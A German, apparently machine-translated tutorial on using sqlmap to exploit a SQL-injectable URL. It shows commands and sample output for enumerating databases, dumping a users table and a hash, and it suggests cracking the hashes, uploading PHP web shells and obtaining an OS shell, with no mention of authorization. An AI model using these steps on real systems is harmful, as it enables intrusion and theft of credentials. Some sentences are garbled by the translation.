Sqlmap Tutorial für Anfänger – Hacking mit SQL Injection

Sqlmap

Sqlmap ist eines der beliebtesten und leistungsfähigsten SQL-Injection-Automatisierungstools. Bei einer anfälligen HTTP-Anforderungs-URL kann sqlmap die entfernte Datenbank ausnutzen und viel hacken, z. B. Datenbanknamen, Tabellen, Spalten, alle Daten in den Tabellen usw. extrahieren.

Es kann unter bestimmten Bedingungen sogar Dateien auf dem entfernten Dateisystem lesen und schreiben. Geschrieben in Python ist es eines der mächtigsten Hacking-Tools da draußen. Sqlmap ist das Metasploit von SQL-Injektionen.

Sqlmap ist in vielen Test-Linux-Distributionen wie Kali Linux, Backtrack, Backbox usw. enthalten. Auf anderen Distributionen kann es einfach von der folgenden URL heruntergeladen werden

http://sqlmap.org/.

Da es in Python geschrieben ist, müssen Sie zuerst Python auf Ihrem System installieren. Installieren Sie unter Ubuntu Python von Synaptic. Installieren Sie unter Windows activestate Python. In diesem Beitrag erfahren Sie, wie Sie sqlmap unter Windows installieren und ausführen.

Die Liste der Optionen und Parameter, die mit dem Befehl sqlmap verwendet werden können, finden Sie in der sqlmap-Dokumentation unter
https://github.com/sqlmapproject/sqlmap/wiki/Usage

In diesem Tutorial erfahren Sie, wie Sie mit sqlmap eine anfällige Webanwendung ausnutzen und sehen, was mit einem solchen Tool alles möglich ist.

Um dieses Tutorial zu verstehen, sollten Sie gründliche Kenntnisse darüber haben, wie datenbankgesteuerte Webanwendungen funktionieren. Zum Beispiel diejenigen, die mit PHP + MySQL gemacht wurden.

Anfällige URLs

Angenommen, es gibt eine Webanwendung oder Website, die eine URL wie diese enthält

http://www.site.com/section.php?id=51

und sie ist anfällig für SQL-Injection, da der Entwickler dieser Site die Parameter-ID nicht ordnungsgemäß maskiert hat. Dies kann einfach getestet werden, indem versucht wird, die URL zu öffnen

http://www.site.com/section.php?id=51'

Wir haben dem Parameter nur ein einfaches Anführungszeichen hinzugefügt. Wenn diese URL einen Fehler auslöst oder unerwartet reagiert, ist es klar, dass die Datenbank das unerwartete einfache Anführungszeichen hat, das die Anwendung nicht richtig maskiert hat. In diesem Fall ist dieser Eingabeparameter „id“ anfällig für SQL-Injection.

Hacken mit sqlmap

Jetzt ist es an der Zeit, zu sqlmap überzugehen, um solche URLs zu hacken. Der Befehl sqlmap wird vom Terminal mit dem Python-Interpreter ausgeführt.

1. Scannen des Remote-Systems

Der erste Befehl durchsucht das Remote-System, um festzustellen, ob es für SQL-Injection anfällig ist, und sammelt dann Informationen darüber.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

Der obige Befehl ist der erste und einfachste Befehl, der mit dem sqlmap-Tool ausgeführt werden kann. Es überprüft die Eingabeparameter, um festzustellen, ob sie für SQL-Injection anfällig sind oder nicht. Dazu sendet sqlmap verschiedene Arten von SQL-Injection-Payloads an den Eingabeparameter und überprüft die Ausgabe.

Dabei kann sqlmap auch das Betriebssystem des Remote-Systems, den Datenbanknamen und die Version identifizieren. So könnte die Ausgabe aussehen

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

Das sqlmap-Tool hat also das Betriebssystem, den Webserver und die Datenbank zusammen mit Versionsinformationen entdeckt. Sogar so viel ist ziemlich beeindruckend. Aber es ist Zeit, weiterzumachen und zu sehen, wozu dieses Tool noch in der Lage ist.

2. Datenbanken entdecken

Sobald sqlmap bestätigt, dass eine entfernte URL anfällig für SQL-Injection ist und ausnutzbar ist, besteht der nächste Schritt darin, die Namen der Datenbanken herauszufinden, die auf dem entfernten System vorhanden sind. Die Option „–dbs“ wird verwendet, um die Datenbankliste abzurufen.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

Die Ausgabe könnte etwa so aussehen

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

Die Ausgabe zeigt die vorhandenen Datenbanken auf dem Remote-System.

3. Finden Sie Tabellen in einer bestimmten Datenbank

Jetzt ist es an der Zeit herauszufinden, welche Tabellen in einer bestimmten Datenbank vorhanden sind. Nehmen wir an, die Datenbank von Interesse hier ist ’safecosmetics‘

Befehl

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

und die Ausgabe kann etwas Ähnliches sein

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

ist das nicht erstaunlich? es wenn ofcourse. Lassen Sie uns jetzt die Spalten einer bestimmten Tabelle abrufen.

4. Spalten einer Tabelle abrufen

Nun, da wir die Liste der Tabellen bei uns haben, wäre es eine gute Idee, die Spalten einer wichtigen Tabelle abzurufen. Nehmen wir an, die Tabelle ist ‚users‘ und enthält den Benutzernamen und das Passwort.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

Die Ausgabe kann ungefähr so aussehen

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

Jetzt sind die Spalten deutlich sichtbar. Gut gemacht!

5. Holen Sie sich Daten aus einer Tabelle

Jetzt kommt der interessanteste Teil, die Daten aus der Tabelle zu extrahieren. Der Befehl wäre

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

Der obige Befehl gibt einfach die Daten der jeweiligen Tabelle aus, ähnlich wie der Befehl mysqldump.
Die Ausgabe könnte so aussehen

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

Die Hash-Spalte scheint den Passwort-Hash zu haben. Versuchen Sie, den Hash zu knacken, und Sie erhalten sofort die Anmeldedaten. sqlmap erstellt eine CSV-Datei mit den Dump-Daten zur einfachen Analyse.

Bisher konnten wir mit sqlmap viele Informationen aus der entfernten Datenbank sammeln. Es ist fast so, als hätte man über einen Client wie phpmyadmin direkten Zugriff auf eine entfernte Datenbank. In realen Szenarien würden Hacker versuchen, eine höhere Ebene zu erreichen, um auf das System zuzugreifen. Dazu würden sie versuchen, die Passwort-Hashes zu knacken und sich über das Admin-Panel anzumelden. Oder sie würden versuchen, eine Betriebssystem-Shell mit sqlmap zu erhalten.

Ich habe einen weiteren Beitrag über die Verwendung von sqlmap geschrieben, um weitere Details zu entfernten Datenbanken zu erhalten. Es erklärt die anderen Optionen von sqlmap, die nützlich sind, um die Datenbankbenutzer, ihre Privilegien und ihre Passwort-Hashes herauszufinden.

Wie geht es weiter?

Sobald Sie in der Lage sind, Daten von einem anfälligen System zu scannen und zu sammeln, ist es Zeit, es auszunutzen und zu sehen, ob es möglich ist, Zugriff auf das System zu erhalten. Sqlmap kann einige Dinge tun, z. B. SQL-Abfragen auf einem Remote-System ausführen, eine Remote-Shell auf dem System starten usw.

1. Ausführen beliebiger SQL-Abfragen

Dies ist wahrscheinlich die einfachste Sache auf einem Server, der anfällig für SQL-Injection ist. Der Parameter –sql-query kann verwendet werden, um eine auszuführende SQL-Abfrage anzugeben. Von Interesse wäre es, einen Benutzer in der Benutzertabelle oder ähnliches zu erstellen. Oder kann den Inhalt von CMS-Seiten usw. ändern / modifizieren.

Ein anderer Parameter –sql-shell würde eine SQL-Shell-ähnliche Schnittstelle geben, um Abfragen interaktiv auszuführen.

2. Gehen Sie in das Admin-Panel und spielen Sie

Wenn auf der Website ein benutzerdefiniertes CMS oder ähnliches mit einem Admin-Panel ausgeführt wird, ist es möglicherweise möglich, hineinzukommen, vorausgesetzt, Sie können das im Datenbank-Dump abgerufene Kennwort knacken. Einfache und kurze Passwörter können einfach durch Brute-Forcing oder google.com .

Überprüfen Sie, ob das Admin-Panel das Hochladen einiger Dateien zulässt. Wenn eine beliebige PHP-Datei hochgeladen werden kann, macht das viel mehr Spaß. Die PHP-Datei kann shell_exec-, System- , exec- oder Passthru-Funktionsaufrufe enthalten, mit denen beliebige Systembefehle ausgeführt werden können. PHP-Web-Shell-Skripte können hochgeladen werden, um dasselbe zu tun.

3. Shell auf Remote OS

Dies ist das, was zu tun ist, um den Server vollständig zu übernehmen. Beachten Sie jedoch, dass es nicht so einfach und trivial ist wie die oben gezeigten Tricks. sqlmap wird mit einem Parameteraufruf –os-shell , mit dem versucht werden kann, eine Shell auf einem Remote-System abzurufen, der jedoch viele eigene Einschränkungen aufweist.

Gemäß dem sqlmap-Handbuch

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

Das wichtigste Privileg, das der aktuelle Datenbankbenutzer benötigt, ist das Schreiben von Dateien über die Datenbankfunktionen. Dies fehlt in den meisten Fällen. Daher wird diese Technik in den meisten Fällen nicht funktionieren.

Hinweis

1. Manchmal kann sqlmap überhaupt keine Verbindung zur URL herstellen. Dies ist sichtbar, wenn es bei der ersten Aufgabe „Verbindung zur Ziel-URL testen“ hängen bleibt. In solchen Fällen ist es hilfreich, die Option „–random-agent“ zu verwenden. Dies führt dazu, dass sqlmap eine gültige User-Agent-Signatur verwendet, wie sie von einem Browser wie Chrome oder Firefox gesendet wird.

2. Bei URLs, die nicht die Form param=value haben, kann sqlmap nicht automatisch wissen, wo injiziert werden soll. Zum Beispiel MVC-URLs wie http://www.site.com/class_name/method/43/80 .

In solchen Fällen muss sqlmap der mit * markierte Injektionspunkt mitgeteilt werden

http://www.site.com/class_name/method/43*/80

Das obige wird sqlmap anweisen, an dem mit * markierten Punkt zu injizieren

3. Bei Verwendung von Formularen, die Daten über die Post-Methode senden, müssen sqlmap die Post-Daten in den Optionen „–data“ bereitgestellt werden. Weitere Informationen finden Sie in diesem Tutorial zur Verwendung von sqlmap mit Formularen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.